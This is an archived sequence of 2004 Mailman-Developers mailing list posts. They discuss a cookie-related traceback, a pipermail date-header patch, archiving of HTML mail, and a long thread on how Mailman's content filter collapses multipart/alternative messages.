Subject: [Mailman-Developers] Can someone please help me?
Message-ID: <404df0c2.1e0.5cb9.79190176@321.net>
Thanks Anthony.
>
> A bug number would be useful.
>
> Anthony
I really don't know the bug number. I sent an email
yesterday providing a lot of details and also a traceback. I
will provide it once again here.
In the mailman-users list, Jon Carnes simply said, "This was
an old problem that was supposedly fixed in 2.1.4", that is
why I'm assuming there is a bug related to it.
The information I provided in my original post:
Traceback (most recent call last):
File "/usr/local/mailman/scripts/driver", line 87, in
run_main
main()
File "/usr/local/mailman/Mailman/Cgi/private.py", line
120, in main
password, username):
File "/usr/local/mailman/Mailman/SecurityManager.py", line
226, in WebAuthenticate
print self.MakeCookie(ac, user)
File "/usr/local/mailman/Mailman/SecurityManager.py", line
233, in MakeCookie
raise ValueError
ValueError
My Python environment (on a SUSE 9.0 box)
# rpm -qa|grep python
python-mysql-0.9.2-52
python-devel-2.3-49
mod_python-2.7.8-427
python-japanese-1.4.9-206
python-curses-2.3-49
python-tk-2.3-49
python-2.3-52
python-korean-2.0.5-212
And I am running 2.1.4 from the Dec. 31 tarball. I even
re-compiled and re-installed MM yesterday just to be sure...
From shigeno at iij-mc.co.jp Tue Mar 9 12:41:59 2004
From: shigeno at iij-mc.co.jp (SHIGENO Kazutaka)
Date: Tue Mar 9 12:42:05 2004
Subject: [Mailman-Developers] pipermail.py and self.datestr
In-Reply-To: <20040220.231013.112794645.shigeno@iij-mc.co.jp>
References: <20040220.231013.112794645.shigeno@iij-mc.co.jp>
Message-ID: <20040310.024159.125098014.shigeno@iij-mc.co.jp>
From shigeno at iij-mc.co.jp Tue Mar 9 13:18:28 2004
From: shigeno at iij-mc.co.jp (SHIGENO Kazutaka)
Date: Tue Mar 9 13:18:34 2004
Subject: [Mailman-Developers] pipermail.py and self.datestr
In-Reply-To: <20040220.231013.112794645.shigeno@iij-mc.co.jp>
References: <20040220.231013.112794645.shigeno@iij-mc.co.jp>
Message-ID: <20040310.031828.46609555.shigeno@iij-mc.co.jp>
Hi,
Please see the following page.
http://mail.python.org/pipermail/mailman-developers/2004-March.txt.gz
The date headers in the page are RFC2822 violation.
Date: Mon Mar 1 21:01:02 2004
Date: Tue Mar 2 08:29:07 2004
Date: Tue Mar 2 08:40:05 2004
...
This is because the following code is performed in HyperArch.py.
def as_text(self):
d = self.__dict__.copy()
# We need to guarantee a valid From_ line, even if there are
# bososities in the headers.
if not d.get('fromdate', '').strip():
d['fromdate'] = time.ctime(time.time())
if not d.get('email', '').strip():
d['email'] = 'bogus@does.not.exist.com'
if not d.get('datestr', '').strip():
d['datestr'] = time.ctime(time.time())
#
Since there is no datestr, time.ctime() is used.
I think that the following patch solves this problem.
From: SHIGENO Kazutaka
Date: Fri, 20 Feb 2004 23:10:13 +0900 (JST)
> The definition of self.datestr does not exist in pipermail.py.
> How about using the following patch?
>
> --- pipermail.py 7 Jan 2004 02:41:46 -0000 1.1.1.1
> +++ pipermail.py 20 Feb 2004 13:19:33 -0000
> @@ -240,6 +240,11 @@
> self._last_article_time = date
> self.date = '%011i' % date
>
> + datestr = message.get('date', None)
> + if datestr is None:
> + datestr = message.get('x-list-received-date', None)
> + self.datestr = datestr
> +
> def __repr__(self):
> return ''
-- shigeno
From jamie at silverdream.org Tue Mar 9 13:54:00 2004
From: jamie at silverdream.org (Jamie Penman-Smithson)
Date: Tue Mar 9 13:54:09 2004
Subject: [Mailman-Developers] retaining format of posted messages in html
In-Reply-To: <40447189.2060500@snet.net>
References: <40447189.2060500@snet.net>
Message-ID: <1078858440.19104.274.camel@oasis.silverdream.hq>
On Tue, 2004-03-02 at 11:35, Rob Cartier wrote:
> I have a few folks who need to post messages in html.
> it is distributed ok but The problem is when it gets archived
> it gets scrubbed and losses it's html properties when the url link is
> displayed.
This has been covered numerous times, next time take a look at the
archives before posting - see:
http://article.gmane.org/gmane.mail.mailman.user/47183/match=pipermail+html
-j
--
-jamie | spamtrap: spam@silverdream.org
w: http://silverdream.org | p: sms@silverdream.org
pgp key @ http://silverdream.org/~jps/pub.key
16:30:01 up 6 days, 1:50, 10 users, load average: 0.52, 0.31, 0.22
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://mail.python.org/pipermail/mailman-developers/attachments/20040309/992952c6/attachment.bin
From terri at zone12.com Tue Mar 9 14:16:08 2004
From: terri at zone12.com (Terri Oda)
Date: Tue Mar 9 14:15:42 2004
Subject: [Mailman-Developers] retaining format of posted messages in html
In-Reply-To: <1078858440.19104.274.camel@oasis.silverdream.hq>
References: <40447189.2060500@snet.net>
<1078858440.19104.274.camel@oasis.silverdream.hq>
Message-ID: <37EC9E98-71FE-11D8-8213-000D934FBF38@zone12.com>
On Mar 9, 2004, at 1:54 PM, Jamie Penman-Smithson wrote:
> On Tue, 2004-03-02 at 11:35, Rob Cartier wrote:
>> I have a few folks who need to post messages in html.
>> it is distributed ok but The problem is when it gets archived
>> it gets scrubbed and losses it's html properties when the url link is
>> displayed.
>
> This has been covered numerous times, next time take a look at the
> archives before posting - see:
>
> http://article.gmane.org/gmane.mail.mailman.user/47183/
> match=pipermail+html
Is this in the FAQ yet?
From brad.knowles at skynet.be Tue Mar 9 14:03:38 2004
From: brad.knowles at skynet.be (Brad Knowles)
Date: Tue Mar 9 14:25:26 2004
Subject: [Mailman-Developers] New patch submitted...
Message-ID:
Barry & Folks,
Steve Kostecke submitted a patch recently to mailman (see
)
that hopefully fixes a problem with using relative URLs. At least,
this patch seems to work for us on the ntp.org project.
I was wondering if I could get someone to take a look at it and
give us comments back? If we could get this (or something
equivalent) incorporated into the tree for 2.1.x then I won't have to
worry about our running a non-standard version of Mailman, which will
make me feel a lot better.
Thanks!
--
Brad Knowles,
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, Historical Review of Pennsylvania.
GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+
!w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++)
tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++)
From barry at python.org Tue Mar 9 14:29:57 2004
From: barry at python.org (Barry Warsaw)
Date: Tue Mar 9 14:30:05 2004
Subject: [Mailman-Developers] Re: New patch submitted...
In-Reply-To:
References:
Message-ID: <1078860596.11031.140.camel@anthem.wooz.org>
On Tue, 2004-03-09 at 14:03, Brad Knowles wrote:
> Barry & Folks,
>
> Steve Kostecke submitted a patch recently to mailman (see
> )
> that hopefully fixes a problem with using relative URLs. At least,
> this patch seems to work for us on the ntp.org project.
>
> I was wondering if I could get someone to take a look at it and
> give us comments back? If we could get this (or something
> equivalent) incorporated into the tree for 2.1.x then I won't have to
> worry about our running a non-standard version of Mailman, which will
> make me feel a lot better.
I'll try to take a look at this soon, although it might not be. ;)
I'd like to get 2.1.5 out before Pycon and I think there are enough
significant changes to warrant getting it out asap. Also, a few things
have clicked in place recently and I need to start the MM3 Pycon sprint
discussions this week.
Has anybody tried 2.1.5b1 from CVS and is there any feedback on the new
stuff (in particular the bounce processing)? It seems to have helped
things a lot on python.org.
-Barry
From brad.knowles at skynet.be Tue Mar 9 14:33:36 2004
From: brad.knowles at skynet.be (Brad Knowles)
Date: Tue Mar 9 14:33:52 2004
Subject: [Mailman-Developers] retaining format of posted messages in html
In-Reply-To: <37EC9E98-71FE-11D8-8213-000D934FBF38@zone12.com>
References: <40447189.2060500@snet.net>
<1078858440.19104.274.camel@oasis.silverdream.hq>
<37EC9E98-71FE-11D8-8213-000D934FBF38@zone12.com>
Message-ID:
At 2:16 PM -0500 2004/03/09, Terri Oda wrote:
>> This has been covered numerous times, next time take a look at the
>> archives before posting - see:
>>
>> http://article.gmane.org/gmane.mail.mailman.user/47183/match=pipermail+html
>
> Is this in the FAQ yet?
Let me quote the relevant parts from that message:
|> I want html messages to appear in the public archive. In other
|> words I want a person to click on the link for a message and when
|> it opens up it is in the original html format it was sent.
|>
|> What do I need to do so that it is not 'scrubbed'?
|
| You need to use a different archiving agent, other than the
| built-in pipermail.
|
| Try mhonarc. See
| .
However, someone else responded with a different solution, which
may also work. From Tokio Kikuchi :
| Richard D. Dover wrote:
|
|> I want html messages to appear in the public archive. In other
|> words I want a person to click on the link for a message and when
|> it opens up it is in the original html format it was sent.
|
| You can set ARCHIVE_HTML_SANITIZER = 3 in mm_cfg.py
|
|> What do I need to do so that it is not 'scrubbed'?
|
| Without scrubbing, pipermail will display the HTML in escaped format.
If you want to add this to the FAQ, please go right ahead.
Otherwise, I will try to do so sometime this week.
--
Brad Knowles,
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, Historical Review of Pennsylvania.
GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+
!w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++)
tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++)
From jon at csh.rit.edu Tue Mar 9 16:08:46 2004
From: jon at csh.rit.edu (Jon Parise)
Date: Tue Mar 9 16:08:52 2004
Subject: [Mailman-Developers] Re: New patch submitted...
In-Reply-To: <1078860596.11031.140.camel@anthem.wooz.org>
References:
<1078860596.11031.140.camel@anthem.wooz.org>
Message-ID: <20040309210845.GA25878@csh.rit.edu>
On Tue, Mar 09, 2004 at 02:29:57PM -0500, Barry A. Warsaw wrote:
> Has anybody tried 2.1.5b1 from CVS and is there any feedback on the new
> stuff (in particular the bounce processing)? It seems to have helped
> things a lot on python.org.
I haven't seen any problems on lists.horde.org. Things look good.
--
Jon Parise (jon@csh.rit.edu) :: http://www.csh.rit.edu/~jon/
From maurice at hypercube.demon.nl Wed Mar 10 02:03:28 2004
From: maurice at hypercube.demon.nl (Maurice Snellen)
Date: Wed Mar 10 02:03:38 2004
Subject: [Mailman-Developers] Re: Crash in Mailman HTTP header parsing
In-Reply-To: <1078800981.2778.101.camel@geddy.wooz.org>
References:
<404AC375.7000007@is.kochi-u.ac.jp>
<1078800981.2778.101.camel@geddy.wooz.org>
Message-ID: <1563448467.20040310080328@hypercube.demon.nl>
On Monday, March 08, 2004 at 21:56 (which was Tuesday, March 9, 2004
at 3:56 where I am) Barry Warsaw wrote:
>> UnicodeDecodeError: 'ascii' codec can't decode byte 0xe9 in
>> position 24: ordinal not in range(128)
>>
> Send me one of the .pck files.
On March 3 I reported a problem in the webinterface when processing
certain messages from the admin screen that should be ignored (in my
case: mailer-daemon messages from french servers). Would you like to
receive those .pck files as well (and where would I look for those, I
only recently took over a couple of domains with Mailman lists)
--
Greetings,
Maurice
From lists at yggdrasill.net Wed Mar 10 04:09:05 2004
From: lists at yggdrasill.net (Jim Cole)
Date: Wed Mar 10 04:09:15 2004
Subject: [Mailman-Developers] multipart/alternative
Message-ID: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
Hi - I had a few questions regarding the handling of
multipart/alternative that I was hoping someone would be kind enough to
answer. The questions are all in reference to the 2.1 branch.
Based on the code, comments, etc. it appears that removal of all parts
other than the first non-empty alternative is intended as a feature and
considered a good thing. Is this correct?
If the answer to the first question is yes, why? I am not challenging,
but instead hoping to understand the considerations that led to this
design decision before trying to work my way around it. Is the decision
motivated by something deeper than simply eliminating some extra bytes?
If I were to simply remove the call to collapse_multipart_alternatives,
would that allow the multipart/alternative part to slip through
unmolested? Does later processing code depend on multipart/alternative
parts being collapsed?
Besides turning off filtering altogether, is there any other simple way
to get Mailman to pass multipart/alternative as-is? Stripping
alternatives is not likely to be acceptable for the environment to
which we would be deploying.
Thanks!
Jim
From brad.knowles at skynet.be Wed Mar 10 06:09:18 2004
From: brad.knowles at skynet.be (Brad Knowles)
Date: Wed Mar 10 06:10:31 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
Message-ID:
At 2:09 AM -0700 2004/03/10, Jim Cole wrote:
> Based on the code, comments, etc. it appears that removal of all parts
> other than the first non-empty alternative is intended as a feature and
> considered a good thing. Is this correct?
I believe so, yes.
> If I were to simply remove the call to collapse_multipart_alternatives,
> would that allow the multipart/alternative part to slip through
> unmolested? Does later processing code depend on multipart/alternative
> parts being collapsed?
Why would you do this? What do you have in multipart/alternative
that would require this kind of action?
> Besides turning off filtering altogether, is there any other simple way
> to get Mailman to pass multipart/alternative as-is? Stripping
> alternatives is not likely to be acceptable for the environment to
> which we would be deploying.
Yes. Just list multipart/alternative as one of the formats to
pass unchanged. Go to "Content Filtering", then add
"multipart/alternative" to the "pass_mime_types" field (the second
big one on the page). Note that you have to have filtering turned on
for this to have any effect -- if you don't have filtering turned on
(the radio button at the top), then no filtering should be done.
--
Brad Knowles,
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, Historical Review of Pennsylvania.
GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+
!w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++)
tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++)
From maurice at hypercube.demon.nl Wed Mar 10 10:17:31 2004
From: maurice at hypercube.demon.nl (Maurice Snellen)
Date: Wed Mar 10 10:17:48 2004
Subject: [Mailman-Developers] Re: Crash in Mailman HTTP header parsing
In-Reply-To: <1563448467.20040310080328@hypercube.demon.nl>
References:
<404AC375.7000007@is.kochi-u.ac.jp>
<1078800981.2778.101.camel@geddy.wooz.org>
<1563448467.20040310080328@hypercube.demon.nl>
Message-ID: <22594709.20040310161731@hypercube.demon.nl>
On Wednesday, March 10, 2004 at 08:03 Maurice Snellen [MS] wrote:
>>> UnicodeDecodeError: 'ascii' codec can't decode byte 0xe9 in
>>> position 24: ordinal not in range(128)
>>>
>> Send me one of the .pck files.
MS> On March 3 I reported a problem in the webinterface when processing
I managed to leave out the operative word here. This should have read
'reported a _similar_ problem'.
To make things clear, the issue I'm experiencing also references xe9
and a Unicode error:
MS> UnicodeEncodeError: 'ascii' codec can't encode character u'\xe9' in position
MS> 116: ordinal not in range(128)
--
Greetings,
Maurice
From claw at kanga.nu Wed Mar 10 10:57:07 2004
From: claw at kanga.nu (J C Lawrence)
Date: Wed Mar 10 10:57:14 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To: Message from Jim Cole of "Wed,
10 Mar 2004 02:09:05 MST."
<94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
Message-ID: <2323.1078934227@kanga.nu>
On Wed, 10 Mar 2004 02:09:05 -0700
Jim Cole wrote:
> Based on the code, comments, etc. it appears that removal of all parts
> other than the first non-empty alternative is intended as a feature
> and considered a good thing. Is this correct?
Yes, in particular many of us consider multipart/alternative mail with
text/plain and text/html parts to be very unwelcome. Heck, many of us
consider that HTML mail of any form is decidedly unwelcome.
> Is the decision motivated by something deeper than simply eliminating
> some extra bytes?
Yes.
> Besides turning off filtering altogether, is there any other simple
> way to get Mailman to pass multipart/alternative as-is? Stripping
> alternatives is not likely to be acceptable for the environment to
> which we would be deploying.
Sure, turn off the filter via that list's fitering configuration.
--
J C Lawrence
---------(*) Satan, oscillate my metallic sonatas.
claw@kanga.nu He lived as a devil, eh?
http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live.
From lists at yggdrasill.net Wed Mar 10 12:46:42 2004
From: lists at yggdrasill.net (Jim Cole)
Date: Wed Mar 10 12:46:48 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To:
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
Message-ID:
On Mar 10, 2004, at 4:09 AM, Brad Knowles wrote:
>> If I were to simply remove the call to
>> collapse_multipart_alternatives,
>> would that allow the multipart/alternative part to slip through
>> unmolested? Does later processing code depend on
>> multipart/alternative
>> parts being collapsed?
>
> Why would you do this? What do you have in multipart/alternative
> that would require this kind of action?
In the particular case that I am looking at, there is both text/plain
and text/html. Since text/plain happens to be the first non-empty part,
it is saved and text/html is thrown away. I am trying to find a way to
ensure that both parts make it through so that people who prefer html
in their mail still have the ability to view it that way.
>> Besides turning off filtering altogether, is there any other simple
>> way
>> to get Mailman to pass multipart/alternative as-is? Stripping
>> alternatives is not likely to be acceptable for the environment to
>> which we would be deploying.
>
> Yes. Just list multipart/alternative as one of the formats to pass
> unchanged. Go to "Content Filtering", then add
> "multipart/alternative" to the "pass_mime_types" field (the second big
> one on the page). Note that you have to have filtering turned on for
> this to have any effect -- if you don't have filtering turned on (the
> radio button at the top), then no filtering should be done.
If it were that easy, I wouldn't be bothering you ;) Assuming of course
I didn't do something stupid. Our first step was to do exactly what you
suggest. Under those conditions, the text/html portion is still
stripped. Based on my first couple reads through the code, all but the
first non-empty part of any multipart/alternative is stripped
unconditionally (unless filtering is turned off altogether or the
message is a digest). In the call to 'process', general filtering is
performed, collapse_multipart_alternative is called unconditionally,
and then a few last steps are executed to cleanup and repackage the
message. Or at least that is the way it appears to me at the moment. As
far as I can see, once you are in 'process' with filtering enabled,
your alternatives get stripped automatically; list configuration does
not appear to be relevant in this regard.
Jim
From lists at yggdrasill.net Wed Mar 10 13:11:20 2004
From: lists at yggdrasill.net (Jim Cole)
Date: Wed Mar 10 13:11:26 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To: <2323.1078934227@kanga.nu>
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
<2323.1078934227@kanga.nu>
Message-ID: <55233114-72BE-11D8-A7CA-00039310EE48@yggdrasill.net>
On Mar 10, 2004, at 8:57 AM, J C Lawrence wrote:
> On Wed, 10 Mar 2004 02:09:05 -0700
> Jim Cole wrote:
>
>> Based on the code, comments, etc. it appears that removal of all parts
>> other than the first non-empty alternative is intended as a feature
>> and considered a good thing. Is this correct?
>
> Yes, in particular many of us consider multipart/alternative mail with
> text/plain and text/html parts to be very unwelcome. Heck, many of us
> consider that HTML mail of any form is decidedly unwelcome.
Personally I agree with this view. I generally have no interest in HTML
slipping into my mail. Especially not list mail. However we are trying
to deploy a list solution in an environment where people want their
messages to arrive in much the same format that they were sent. It is a
somewhat controlled environment, where most people are by definition at
least willing, if not expecting, to receive HTML mail. There is also
the issue that some of those people sign the checks ;)
Forcing the entire staff to change their email habits, or manually
reconfiguring all mail clients to do something more convenient, is not
an option that we have available.
>> Is the decision motivated by something deeper than simply eliminating
>> some extra bytes?
>
> Yes.
And that is? Or do you mean that the general dislike of HTML mail by
many is the deeper cause? If so I am still not sure that I understand
the justification for handling things as they currently seem to be
handled. The multipart/alternative code does not strip HTML. It strips
whatever happens to be the first non-empty alternative. Also, the code
already seems to provide other ways to strip HTML, as well as other
unwanted types, without resorting to collapsing the
multipart/alternative piece.
Again, I am not criticizing the decision, but simply trying to
understand it well enough to know how best to proceed.
>> Besides turning off filtering altogether, is there any other simple
>> way to get Mailman to pass multipart/alternative as-is? Stripping
>> alternatives is not likely to be acceptable for the environment to
>> which we would be deploying.
>
> Sure, turn off the filter via that list's fitering configuration.
This does not appear to be the case, either based on experiment or my
reading of the code. It seems that if *any* filtering is enabled for
the list, then multipart/alternative is collapsed. I would prefer not
give up filtering entirely just to let the text/html piece of a
multipart/alternative slip through the system.
Jim
From les at 2pi.org Wed Mar 10 13:12:28 2004
From: les at 2pi.org (Les Niles)
Date: Wed Mar 10 13:12:49 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net> (message
from Jim Cole on Wed, 10 Mar 2004 02:09:05 -0700)
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
Message-ID: <200403101812.i2AICS9O032549@grumman.kjsl.com>
On Wed, 10 Mar 2004 02:09:05 -0700 Jim Cole wrote:
>Hi - I had a few questions regarding the handling of
>multipart/alternative that I was hoping someone would be kind enough to
>answer. The questions are all in reference to the 2.1 branch.
>
>Based on the code, comments, etc. it appears that removal of all parts
>other than the first non-empty alternative is intended as a feature and
>considered a good thing. Is this correct?
>
>If the answer to the first question is yes, why? I am not challenging,
>but instead hoping to understand the considerations that led to this
>design decision before trying to work my way around it. Is the decision
>motivated by something deeper than simply eliminating some extra bytes?
Yes, this collapsing of multipart/alternative in practice makes a
lot of messages much easier to read with plain-text email clients,
by getting rid of the extraneous alternative renderings and the
various mime headers and separators.
>If I were to simply remove the call to collapse_multipart_alternatives,
>would that allow the multipart/alternative part to slip through
>unmolested? Does later processing code depend on multipart/alternative
>parts being collapsed?
>
>Besides turning off filtering altogether, is there any other simple way
>to get Mailman to pass multipart/alternative as-is? Stripping
>alternatives is not likely to be acceptable for the environment to
>which we would be deploying.
Barry restructured the code I originally wrote to make it work
better in production, so I'm not entirely sure, but it does look
like removing the call to collapse_multipart_alternatives() would
be the thing to do. That shouldn't cause any other problems.
You could even hack this to be configurable by replacing
collapse_multipart_alternatives(msg)
with
if 'collapse/alternatives' not in passtypes:
collapse_multipart_alternatives(msg)
Then put collapse/alternatives in the pass_mime_types list for the
mailing lists that shouldn't have multipart/alternative collapsed.
(There's nothing magic about 'collapse/alternatives', it's just
some string that wouldn't ever confuse with a real mime type.)
-les
From brad.knowles at skynet.be Wed Mar 10 14:21:39 2004
From: brad.knowles at skynet.be (Brad Knowles)
Date: Wed Mar 10 14:25:10 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To: <55233114-72BE-11D8-A7CA-00039310EE48@yggdrasill.net>
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
<2323.1078934227@kanga.nu>
<55233114-72BE-11D8-A7CA-00039310EE48@yggdrasill.net>
Message-ID:
At 11:11 AM -0700 2004/03/10, Jim Cole wrote:
> Personally I agree with this view. I generally have no interest in
> HTML slipping into my mail. Especially not list mail. However we
> are trying to deploy a list solution in an environment where people
> want their messages to arrive in much the same format that they
> were sent.
Then turn off all filtering, and let people suffer their consequences.
> And that is? Or do you mean that the general dislike of HTML mail
> by many is the deeper cause? If so I am still not sure that I
> understand the justification for handling things as they currently
> seem to be handled.
A few moments of Googling for "html" and "e-mail" and "harmful"
turned up the excellent description at
.
> The multipart/alternative code does not strip HTML. It strips
> whatever happens to be the first non-empty alternative. Also,
> the code already seems to provide other ways to strip HTML,
> as well as other unwanted types, without resorting to collapsing
> the multipart/alternative piece.
I don't think it can do this without collapsing the
multipart/alternative. You could strip other types if they are bare,
but I'm pretty sure that process is not recursive. If it were, then
you could leave multipart/alternative and whatever/html in the
"pass_mime_types" field and Mailman should just Do The Right Thing.
> I would prefer not give up filtering entirely just to let the
> text/html piece of a multipart/alternative slip through the system.
If they want to have the ability to blow off their foot with a
nuclear device, who are you to tell them that this ability should be
limited?
Just turn off all filtering, warn them what the consequences are,
and then leave them to their fate.
--
Brad Knowles,
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, Historical Review of Pennsylvania.
GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+
!w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++)
tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++)
From claw at kanga.nu Wed Mar 10 18:55:40 2004
From: claw at kanga.nu (J C Lawrence)
Date: Wed Mar 10 18:55:47 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To: Message from Jim Cole of "Wed,
10 Mar 2004 10:46:42 MST."
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
Message-ID: <5718.1078962940@kanga.nu>
On Wed, 10 Mar 2004 10:46:42 -0700
Jim Cole wrote:
> On Mar 10, 2004, at 4:09 AM, Brad Knowles wrote:
> I am trying to find a way to ensure that both parts make it through so
> that people who prefer html in their mail still have the ability to
> view it that way.
No, for we've stated a way to do that: turn off filtering -- but you've
said you want filtering, but not collapsing of multipart/alternative
structures. Rather than go back and forth, why not state exactly the
behaviour you do want in regard to MIME types, and we'll see what if
anything can be done to meet that.
--
J C Lawrence
---------(*) Satan, oscillate my metallic sonatas.
claw@kanga.nu He lived as a devil, eh?
http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live.
From lists at yggdrasill.net Wed Mar 10 23:05:02 2004
From: lists at yggdrasill.net (Jim Cole)
Date: Wed Mar 10 23:05:08 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To: <5718.1078962940@kanga.nu>
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
<5718.1078962940@kanga.nu>
Message-ID: <4559E712-7311-11D8-A7CA-00039310EE48@yggdrasill.net>
On Mar 10, 2004, at 4:55 PM, J C Lawrence wrote:
> On Wed, 10 Mar 2004 10:46:42 -0700
> Jim Cole wrote:
>> On Mar 10, 2004, at 4:09 AM, Brad Knowles wrote:
>
>> I am trying to find a way to ensure that both parts make it through so
>> that people who prefer html in their mail still have the ability to
>> view it that way.
>
> No, for we've stated a way to do that: turn off filtering -- but you've
> said you want filtering, but not collapsing of multipart/alternative
> structures. Rather than go back and forth, why not state exactly the
> behaviour you do want in regard to MIME types, and we'll see what if
> anything can be done to meet that.
I am sorry. I thought I was clear as to my intentions from the
beginning. I am aware that turning off filtering will allow the
multipart/alternative's to pass through without being collapsed. I
stated that in my first message. However I would prefer not give up all
of Mailman's filtering functionality in order to allow an HTML
alternative to pass through the system. I was looking for a solution
that provided me the level of control that I wanted over how things
were filtered.
I guess what it really comes down to is that I am not satisfied with
the fact that in the case of multipart/alternative the code arbitrarily
strips content without regard to any particular filter settings. I
would prefer that it filter out what I tell it to filter out and leave
what I tell it to leave. That is not the current behavior. Unless there
is a sound technical reason for taking such decisions away from the
person managing a given mailing list, I would like to incorporate that
functionality into the deployment that I am working on. Based on the
replies I have received, it sounds like this is something that needs to
be done at the source code level. If so, that is fine. I just wanted to
get some feedback before I started messing with code that I am largely
unfamiliar with.
Jim
From claw at kanga.nu Wed Mar 10 23:09:42 2004
From: claw at kanga.nu (J C Lawrence)
Date: Wed Mar 10 23:09:48 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To: Message from Jim Cole of "Wed,
10 Mar 2004 21:05:02 MST."
<4559E712-7311-11D8-A7CA-00039310EE48@yggdrasill.net>
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
<5718.1078962940@kanga.nu>
<4559E712-7311-11D8-A7CA-00039310EE48@yggdrasill.net>
Message-ID: <9621.1078978182@kanga.nu>
On Wed, 10 Mar 2004 21:05:02 -0700
Jim Cole wrote:
> However I would prefer not give up all of Mailman's filtering
> functionality in order to allow an HTML alternative to pass through
> the system. I was looking for a solution that provided me the level of
> control that I wanted over how things were filtered.
Right. What specific filtering pattern are you looking for?
> I just wanted to get some feedback before I started messing with code
> that I am largely unfamiliar with.
I take a slightly different approach and stuck Davide Salvetti's
mimefilter in front of Mailman as that (for me) has the added advantages
of not only doing the appropriate MIME manipulations, but sending emails
back to the errant posters telling them what has been done to their
messages (ie in polite suggestion to stop).
--
J C Lawrence
---------(*) Satan, oscillate my metallic sonatas.
claw@kanga.nu He lived as a devil, eh?
http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live.
From lists at yggdrasill.net Wed Mar 10 23:35:28 2004
From: lists at yggdrasill.net (Jim Cole)
Date: Wed Mar 10 23:35:34 2004
Subject: [Mailman-Developers] multipart/alternative
In-Reply-To: <9621.1078978182@kanga.nu>
References: <94C57D22-7272-11D8-A7CA-00039310EE48@yggdrasill.net>
<5718.1078962940@kanga.nu>
<4559E712-7311-11D8-A7CA-00039310EE48@yggdrasill.net>
<9621.1078978182@kanga.nu>
Message-ID: <86205CD3-7315-11D8-A7CA-00039310EE48@yggdrasill.net>
On Mar 10, 2004, at 9:09 PM, J C Lawrence wrote:
> On Wed, 10 Mar 2004 21:05:02 -0700
> Jim Cole wrote:
>
>> However I would prefer not give up all of Mailman's filtering
>> functionality in order to allow an HTML alternative to pass through
>> the system. I was looking for a solution that provided me the level of
>> control that I wanted over how things were filtered.
>
> Right. What specific filtering pattern are you looking for?
The specific case is that should a multipart/alternative contain a
text/plain and a text/html, I would like to have a way for both to make
it through intact. The general case is that should a multipart
alternative contain any two types (or three or four or whatever), I
would like the list administrator to have final say on which parts are
passed and which stripped.
>> I just wanted to get some feedback before I started messing with code
>> that I am largely unfamiliar with.
>
> I take a slightly different approach and stuck Davide Salvetti's
> mimefilter in front of Mailman as that (for me) has the added
> advantages
> of not only doing the appropriate MIME manipulations, but sending
> emails
> back to the errant posters telling them what has been done to their
> messages (ie in polite suggestion to stop).
Thanks for the suggestion. I will toss this in with the other options
we are currently considering. A solution that doesn't involve code
modifications might be preferred by some of the people involved with
this task.
Jim
From mike at UDel.Edu Fri Mar 12 12:37:34 2004
From: mike at UDel.Edu (Mike Porter)
Date: Fri Mar 12 12:37:40 2004
Subject: [Mailman-Developers] Hanging OutgoingRunner
Message-ID:
Our OutgoingRunner hangs upon occasion. A truss of the process
shows that OutgoingRunner is hanging in recv. We feel the most
likely reason for this is that the sendmail OutgoingRunner is
talking to stopped responding.
While fixing our system so that sendmails never hang would be one
way to solve the problem, I think there is an easier way [ :-) ],
and that is to have the OutgoingRunner timeout on socket operations
